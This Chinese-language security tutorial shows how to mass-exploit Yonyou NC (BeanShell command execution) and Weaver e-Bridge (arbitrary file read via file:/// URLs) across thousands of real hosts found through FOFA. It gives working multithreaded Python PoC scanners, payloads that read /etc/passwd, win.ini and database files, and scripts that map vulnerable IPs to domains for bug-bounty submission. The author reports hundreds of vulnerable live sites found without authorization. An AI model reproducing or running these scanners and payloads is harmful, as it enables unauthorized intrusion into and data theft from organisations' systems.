Poc:
http ://xxx.xxxx.xxxx.xxxx/servlet//~ic/bsh.servlet.BshServlet">
http://xxx.xxxx.xxxx.xxxx/servlet//~ic/bsh.servlet.BshServlet
文本框里可以命令执行
漏洞的批量检测
在知道这个漏洞详情之后,我们需要根据漏洞的特征去fofa里寻找全国范围里使用这个系统的网站,比如用友nc在fofa的搜索特征就是:
app="用友-UFIDA-NC"
可以看到一共有9119条结果,接下来我们需要采集所有站点的地址下来,这里推荐狼组安全团队开发的fofa采集工具fofa-viewer。
github地址:https://github.com/wgpsec/fofa_viewer
然后导出所有站点到一个txt文件中,根据用友nc漏洞命令执行的特征,我们简单写一个多线程检测脚本。
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/5/10 9:16
# blog: www.wlhhlc.top
import requests
import threadpool
import os
def exp(url):
poc = r"""/servlet//~ic/bsh.servlet.BshServlet"""
url = url + poc
try:
res = requests.get(url, timeout=3)
if "BeanShell" in res.text:
print("[*]存在漏洞的url:" + url)
with open ("用友命令执行列表.txt", 'a') as f:
f.write(url + "\n")
except:
pass
def multithreading(funcname, params=[], filename="yongyou.txt", pools=10):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")] + params
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(funcname, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def main():
if os.path.exists("用友命令执行列表.txt"):
f = open("用友命令执行列表.txt", 'w')
f.truncate()
multithreading(exp, [], "yongyou.txt", 10)
if __name__ == '__main__':
main()
运行完后得到所有漏洞站点的txt文件
域名和权重的批量检测
在我们提交补天等漏洞平台时,不免注意到有这么一个规则,公益漏洞的提交需要满足站点的百度权重或者移动权重大于等于1,亦或者谷歌权重大于等于3的条件,补天漏洞平台以爱站的检测权重为准。
https://rank.aizhan.com/
首先我们需要对收集过来的漏洞列表做一个ip反查域名,来证明归属,我们用爬虫写一个批量ip反查域名脚本。
这里用了ip138和爱站两个站点来进行ip反查域名,因为多线程会被ban,目前只采用了单线程。
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/2 22:39
# blog: www.wlhhlc.top
import re, time
import requests
from fake_useragent import UserAgent
from tqdm import tqdm
import os
# ip138
def ip138_chaxun(ip, ua):
ip138_headers = {
'Host': 'site.ip138.com',
'User-Agent': ua.random,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'https://site.ip138.com/'}
ip138_url = 'https://site.ip138.com/' + str(ip) + '/'
try:
ip138_res = requests.get(url=ip138_url, headers=ip138_headers, timeout=2).text
if '<li>暂无结果</li>' not in ip138_res:
result_site = re.findall(r"""</span><a href="/(.*?)/" target="_blank">""", ip138_res)
return result_site
except:
pass
# 爱站
def aizhan_chaxun(ip, ua):
aizhan_headers = {
'Host': 'dns.aizhan.com',
'User-Agent': ua.random,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'https://dns.aizhan.com/'}
aizhan_url = 'https://dns.aizhan.com/' + str(ip) + '/'
try:
aizhan_r = requests.get(url=aizhan_url, headers=aizhan_headers, timeout=2).text
aizhan_nums = re.findall(r'''<span class="red">(.*?)</span>''', aizhan_r)
if int(aizhan_nums[0]) > 0:
aizhan_domains = re.findall(r'''rel="nofollow" target="_blank">(.*?)</a>''', aizhan_r)
return aizhan_domains
except:
pass
def catch_result(i):
ua_header = UserAgent()
i = i.strip()
try:
ip = i.split(':')[1].split('//')[1]
ip138_result = ip138_chaxun(ip, ua_header)
aizhan_result = aizhan_chaxun(ip, ua_header)
time.sleep(1)
if ((ip138_result != None and ip138_result!=[]) or aizhan_result != None ):
with open("ip反查结果.txt", 'a') as f:
result = "[url]:" + i + " " + "[ip138]:" + str(ip138_result) + " [aizhan]:" + str(aizhan_result)
print(result)
f.write(result + "\n")
else:
with open("反查失败列表.txt", 'a') as f:
f.write(i + "\n")
except:
pass
if __name__ == '__main__':
url_list = open("用友命令执行列表.txt", 'r').readlines()
url_len = len(open("用友命令执行列表.txt", 'r').readlines())
#每次启动时清空两个txt文件
if os.path.exists("反查失败列表.txt"):
f = open("反查失败列表.txt", 'w')
f.truncate()
if os.path.exists("ip反查结果.txt"):
f = open("ip反查结果.txt", 'w')
f.truncate()
for i in tqdm(url_list):
catch_result(i)
运行结果:
然后拿到解析的域名后,就是对域名权重进行检测,这里采用爱站来进行权重检测,继续写一个批量检测脚本。
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/2 23:39
# blog: www.wlhhlc.top
import re
import threadpool
import urllib.parse
import urllib.request
import ssl
from urllib.error import HTTPError
import time
import tldextract
from fake_useragent import UserAgent
import os
import requests
ssl._create_default_https_context = ssl._create_stdlib_context
bd_mb = []
gg = []
global flag
flag = 0
#数据清洗
def get_data():
url_list = open("ip反查结果.txt").readlines()
with open("domain.txt", 'w') as f:
for i in url_list:
i = i.strip()
res = i.split('[ip138]:')[1].split('[aizhan]')[0].split(",")[0].strip()
if res == 'None' or res == '[]':
res = i.split('[aizhan]:')[1].split(",")[0].strip()
if res != '[]':
res = re.sub('[\'\[\]]', '', res)
ext = tldextract.extract(res)
res1 = i.split('[url]:')[1].split('[ip138]')[0].strip()
res2 = "http://www." + '.'.join(ext[1:])
result = '[url]:' + res1 + '\t' + '[domain]:' + res2
f.write(result + "\n")
def getPc(domain):
ua_header = UserAgent()
headers = {
'Host': 'baidurank.aizhan.com',
'User-Agent': ua_header.random,
'Sec-Fetch-Dest': 'document',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Cookie': ''
}
aizhan_pc = 'https://baidurank.aizhan.com/api/br?domain={}&style=text'.format(domain)
try:
req = urllib.request.Request(aizhan_pc, headers=headers)
response = urllib.request.urlopen(req,timeout=10)
b = response.read()
a = b.decode("utf8")
result_pc = re.findall(re.compile(r'>(.*?)</a>'),a)
pc = result_pc[0]
except HTTPError as u:
time.sleep(3)
return getPc(domain)
return pc
def getMobile(domain):
ua_header = UserAgent()
headers = {
'Host': 'baidurank.aizhan.com',
'User-Agent': ua_header.random,
'Sec-Fetch-Dest': 'document',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Cookie': ''
}
aizhan_pc = 'https://baidurank.aizhan.com/api/mbr?domain={}&style=text'.format(domain)
try:
req = urllib.request.Request(aizhan_pc, headers=headers)
response = urllib.request.urlopen(req,timeout=10)
b = response.read()
a = b.decode("utf8")
result_m = re.findall(re.compile(r'>(.*?)</a>'),a)
mobile = result_m[0]
except HTTPError as u:
time.sleep(3)
return getMobile(domain)
return mobile
# 权重查询
def seo(domain, url):
try:
result_pc = getPc(domain)
result_mobile = getMobile(domain)
except Exception as u:
if flag == 0:
print('[!] 目标{}检测失败,已写入fail.txt等待重新检测'.format(url))
print(domain)
with open('fail.txt', 'a', encoding='utf-8') as o:
o.write(url + '\n')
else:
print('[!!]目标{}第二次检测失败'.format(url))
result = '[+] 百度权重:'+ result_pc +' 移动权重:'+ result_mobile +' '+url
print(result)
if result_pc =='0' and result_mobile =='0':
gg.append(result)
else:
bd_mb.append(result)
return True
def exp(url):
try:
main_domain = url.split('[domain]:')[1]
ext = tldextract.extract(main_domain)
domain = '.'.join(ext[1:])
rew = seo(domain, url)
except Exception as u:
pass
def multithreading(funcname, params=[], filename="domain.txt", pools=15):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")] + params
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(funcname, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def google_simple(url, j):
google_pc = "https://pr.aizhan.com/{}/".format(url)
bz = 0
http_or_find = 0
try:
response = requests.get(google_pc, timeout=10).text
http_or_find = 1
result_pc = re.findall(re.compile(r'<span>谷歌PR:</span><a>(.*?)/></a>'), response)[0]
result_num = result_pc.split('alt="')[1].split('"')[0].strip()
if int(result_num) > 0:
bz = 1
result = '[+] 谷歌权重:' + result_num + ' ' + j
return result, bz
except:
if(http_or_find !=0):
result = "[!]格式错误:" + "j"
return result, bz
else:
time.sleep(3)
return google_simple(url, j)
def exec_function():
if os.path.exists("fail.txt"):
f = open("fail.txt", 'w', encoding='utf-8')
f.truncate()
else:
f = open("fail.txt", 'w', encoding='utf-8')
multithreading(exp, [], "domain.txt", 15)
fail_url_list = open("fail.txt", 'r').readlines()
if len(fail_url_list) > 0:
print("*"*12 + "正在开始重新检测失败的url" + "*"*12)
global flag
flag = 1
multithreading(exp, [], "fail.txt", 15)
with open("权重列表.txt", 'w', encoding="utf-8") as f:
for i in bd_mb:
f.write(i + "\n")
f.write("\n")
f.write("-"*25 + "开始检测谷歌的权重" + "-"*25 + "\n")
f.write("\n")
print("*" * 12 + "正在开始检测谷歌的权重" + "*" * 12)
for j in gg:
main_domain = j.split('[domain]:')[1]
ext = tldextract.extract(main_domain)
domain = "www." + '.'.join(ext[1:])
google_result, bz = google_simple(domain, j)
time.sleep(1)
print(google_result)
if bz == 1:
f.write(google_result + "\n")
print("检测完成,已保存txt在当前目录下")
def main():
get_data()
exec_function()
if __name__ == "__main__":
main()
漏洞提交
最后就是一个个拿去提交漏洞了。
Poc:
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///{文件路径}&fileExt=txt
将读取到的id,代入到下面这个{id}的位置即可读取到你需要读取的文件
/file/fileNoLogin/{id}
收集全网的泛微云桥的url
最为重要的一步,收集足够多的目标,fofa一个普通会员就行。
app="泛微-云桥e-Bridge" && country="CN" && is_domain=false
这里我为什么要让domain=false呢。
因为fofa上泛微云桥的资源大部分都是ip的,域名的很少。
但是不慌,我们可能常规会想到去反查域名。
这里我们使用其他方法,可以让这些漏洞能更容易找到主人,先卖个关子往下看吧23333
这里有6k+的目标哦。
通过fofa爬虫+普通会员先爬2000个IP,然后拿自己写好的多线程框架跑一下POC
先看看效果吧,爬虫结果:
这里我开了50个线程跑了2000个耗时1分多,就跑出来了239个漏洞。
建立一个简单的漏洞扫描小框架。
我们先建立好对应的文件夹框架,为了方便后期扩展,实现一个简单的漏扫平台。
然后再开始写对应的python脚本程序。
值得注意的是,由于我们要导入poc和其他公共类的包,因此这里我们新建目录的时候不要选择新建文件夹,而选择新建python package。
或者你可以自行创建一个__init__.py文件,这样import的时候就可以搜索到对应包了
编写泛微云桥任意文件读取POC
这个POC很简单,熟悉python基本语法之后会用requests[1]就可以了。
我们只需要用python去实现我们复现漏洞这个过程就行了,尤其是漏洞复现的这种PoC或者Exp本身也是在其他大佬Poc基础上变成一个自己的工具而已,只不过遇到有些不一样的漏洞,会遇到一些奇奇怪怪的bug23333.
那么我们确定一下思路:
1.访问第一个payload,拿到响应包,其中id就是我们要的值(这里也就是我们判断漏洞的第一个点,这里需要考虑到windows和Linux两种操作系统不同的敏感文件的路径,windows我一般习惯用C:/windows/win.ini,linux习惯用/etc/passwd)
2.第二步,我们拿到相应包中的ID值之后,加到第二个payload[2]后面,然后我们再访问一下,拿到我们要读取文件的内容,拿到内容后我们来判断一下漏洞是否存在,这里可以字符串判断尽量写的要减少误报。
简单的说就是匹配一些文件中一定会存在的字符串,但是要判断的字符串尽量不要太短,以防误报。
# _*_ coding:utf-8 _*_
# 泛微云桥任意文件读取
import requests
import urllib3
urllib3.disable_warnings() #忽略https证书告警
def poc(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36",
}
try:
paths = ['C:/windows/win.ini','etc/passwd'] #需要读取的文件列表(因为一般存在windows或者linux上)
for i in paths:
payload1 = '''/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///%s&fileExt=txt'''%i
genfile = url + payload1
res1 = requests.get(genfile, verify=False, allow_redirects=False, headers=headers, timeout=15) #第二次请求,获取随机生成的id值
try:
id = res1.json()['id']
if id: #如果值存在继续进行Step2,不存在继续循环。
payload2 = url + '/file/fileNoLogin/' + id
#print payload2
res2 = requests.get(payload2, verify=False, allow_redirects=False, headers=headers, timeout=15)
break
except:
continue
if 'for 16-bit app support' in res2.text or 'root:x:0:0:' in res2.text: #判断漏洞是否存在,windows+linux的两种判断方法
return payload2 #返回结果
else:
return None
except Exception as e:
return None
编写多线程框架
这里多线程实现方法也有多种,我这里用的是for循环+队列的方法实现的。
其实吧,这个多线程我一直都是用这个格式来写的,我们可以简单理解一下各部分的作用,不想理解的话直接拿套用就好啦。
# -*- coding:utf-8 -*-
import time
import threading
import queue
import sys,os
from vuln_scan.poc_list.web.Ebridge.ebridge_file_read import * #这里导入我们需要的POC python脚本包即可
vuls_lists = [] #定义一个漏洞空列表,主要是方便之后的导出和计数。个人习惯啦
headers = {'User-Agent': 'Mozilla/5.0(WindowsNT6.1;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/79.0.3945.88Safari/537.36'}
class Thread_test(threading.Thread): #定义多线程类
def __init__(self,que): #定义初始化函数,设置que变量,一般固定这种写法
threading.Thread.__init__(self)
self.que = que
def run(self): #定义一个run函数,一般固定写法,用于执行你的需要多线程跑的函数
while not self.que.empty():
target = self.que.get() #从队列中取target值
try:
self.poc_run(target) #执行poc_run()函数
except Exception as e:
#print(e)
pass
def poc_run(self,target): #你的需要多线程跑的函数
vuls_result = poc(target) #这里调用的poc函数就是我们前面写好的泛微云桥任意文件读取的poc脚本的主函数
print('[*] scan:'+target) #加上一些扫描中的提示字符串
if 'http://' in vuls_result or 'https://' in vuls_result : #由于是web漏洞,我们这里讲poc脚本的返回值定义为url,因此我们只用判断是否包含http协议就行
print('[+] vuln:' + vuls_result)
vuls_lists.append(vuls_result) #添加漏洞到之前定义的漏洞空列表中。
else:
pass
def main(input_filename,thread_count): #定义主函数
getRLthread = [] #定义线程空列表
que = queue.Queue() #定义队列变量
with open(input_filename,'r') as f1:
targets_list = f1.readlines() #读取所以目标url
for target in targets_list:
target = target.strip()
que.put(target) #添加目标url到队列中
for i in range(thread_count): #增加多线程循环,用于创建多线程
getRLthread.append(Thread_test(que)) #讲创建的线程添加到之前的线程空列表
for i in getRLthread:
i.start() #启动每个线程
for i in getRLthread:
i.join() #用于主线程任务结束之后,进入阻塞状态,一直等待其他的子线程执行结束之后,主线程在终止
def otfile(outfilename): #定义输出文件函数
if os.path.isfile(outfilename): #判断输出文件是否存在
os.system('del ' + outfilename) #如果存在就删除
else:
pass
for vuls in vuls_lists:
with open(outfilename,'a') as file1: #将漏洞url写入文件中
file1.write(vuls+'\n')
if __name__ == '__main__':
try:
start = time.time()
main('ebridge.txt',50) #目标URL文件和线程
otfile('ebridge_vuln.txt') #输出的结果文件
end = time.time()
speed_time = end - start #计算耗时
print('存在漏洞:%d个' % len(vuls_lists)) #打印漏洞个数
if speed_time > 60: #简单的分秒换算
speed_time_min = speed_time//60
speed_time_sec = speed_time - speed_time_min * 60
print('耗时:%dmin%ds'% (speed_time_min,speed_time_sec))
else:
print('耗时:%.2fs' % speed_time)
sys.exit()
except Exception:
sys.exit()
完成这两个脚本之后,我们就可以实现多线程扫描漏洞啦。
但是这里还存在一个问题,就是我们这里跑出来的全是IP,那么我们再写一个域名反查的脚本,用于快速定义公司名。方便我们提交漏洞。
重新修改PoC
上面跑完200多个,可惜全都是IP呀。
按理说这种对接微信和钉钉的系统,配域名的概率还是很大的。
那么我们这里直接本地搭建一个泛微云桥然后进去看看从哪里可以获取到域名吧
搭建方法很简单。
直接官网下载安装就好了。
账号sysadmin 密码1
进去之后我们看到这里有一个云桥系统外网地址。
这里既然提示了一定要域名,那么基本上应该可以找到很多漏洞的主人啦。
既然网站本身有配置域名,那么我们只要找到存域名的文件就行了。
windows的话我们可以使用notepad++查找文件夹内容。
最后定位到好几个文件都有这里的外网域名
这里从名字上判断我选择C:/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd
由于泛微云桥官方windows建议D:/安装。
linux建议/usr/下安装。
那么我们暂时定5个路径来跑一下新的POC。
C:/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd
D:/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd
E:/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd
F:/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd
/usr/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd
<img src="https://pic1.zhimg.com/50/v2-d5bb64e7370a87c7a5a0448e31475150_720w.jpg?source=1940ef5c" data-caption="" data-size="normal" data-rawwidth="1643" data-rawheight="777" data-default-watermark-src="https://pic3.zhimg.com/50/v2-dd152d85db9b514ec63e27d45a0ed1a3_720w.jpg?source=1940ef5c" class="origin_image zh-lightbox-thumb" width="1643" data-original="https://pic1.zhimg.com/v2-d5bb64e7370a87c7a5a0448e31475150_r.jpg?source=1940ef5c"/>
这里对mysql文件的一个说明:
1、如果表b采用MyISAM,data\a中会产生3个文件:
b.frm :描述表结构文件,字段长度等
b.MYD(MYData):数据信息文件,存储数据信息(如果采用独立表存储模式)
b.MYI(MYIndex):索引信息文件。
2、如果表b采用InnoDB,data\a中会产生1个或者2个文件:
b.frm :描述表结构文件,字段长度等
如果采用独立表存储模式,data\a中还会产生b.ibd文件(存储数据信息和索引信息)
如果采用共存储模式的,数据信息和索引信息都存储在ibdata1中
如果采用分区存储,data\a中还会有一个b.par文件(用来存储分区信息)
我们可以看到域名存在主要有两个文件wx_base_sysinfo.ibd和ibdata1,其中后者是 数据信息和索引信息都存储 ,这个数据量太大了,而且不安全。。。不建议查这个文件,避免不必要的麻烦
我们直接查前面那个ibd文件就可以获取域名啦
那么和之前写检测POC一样,我们把检测文件替换成wx_base_sysinfo.ibd即可。
修改的代码:
def poc(url):
urlparse_oj = parse.urlparse(url) #格式化url
proc = urlparse_oj.scheme #提取http协议类型
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36",
}
try:
#paths = ['C:/ebridge/mysql/my.ini','D:/ebridge/mysql/my.ini','E:/ebridge/mysql/my.ini','F:/ebridge/mysql/my.ini']
paths = ['D:/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd','/usr/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd','C:/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd','E:/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd','F:/ebridge/mysql/data/ewechat/wx_base_sysinfo.ibd'] #这里替换成存域名的数据库文件
for i in paths:
payload1 = '/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///%s&fileExt=txt'%i
new_url1 = url + payload1
res1 = requests.get(new_url1, verify=False, allow_redirects=False, headers=headers, timeout=15) #第二次请求,获取随机生成的id值
try:
id = res1.json()['id']
if id: #如果值存在则读取对应id的文件内容,不存在继续循环。
new_url2 = url + '/file/fileNoLogin/' + id
res2 = requests.get(new_url2, verify=False, allow_redirects=False, headers=headers, timeout=15)
re_rule = re.compile(proc+'\x3A\x2F\x2F(([a-zA-Z\x2d\5f]*\x2e){1,7}[a-zA-Z]{1,7})(:\d{1,4})?') #这里通过正则匹配一下读取到的包含域名的url,其实我这个正则写的不够严谨,端口这里可能会有个别出现不对的情况,大哥们可以自行修改正则表达式
res_re = re_rule.search(res2.text).group(0)
new_host = res_re
# 由于这里正则表达式匹配出来的还存在一些问题,因此我这里经过再一次处理尽可能地减少错误判断
new_url3 = new_host + '/file/fileNoLogin/' + id
return new_url3
except:
continue
except Exception as e:
return None
新PoC的效果
可以看到跑出来的有122个漏洞,由于存在一些默认路径改变和一些并没有跑出来域名,而且个别公司并没有填写域名,数据库文件也只有IP地址,但是好在不多。
这么一看2000个至少跑出来100多个可以提交的漏洞还是问题不大的。
而且大公司居多,所以不建议各位做更深入的挖掘,除非你有授权,差不多读到文件能证明漏洞存在就好啦,咱们也只是上个分而已。
翻到文章最底部点击“阅读原文”下载链接
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读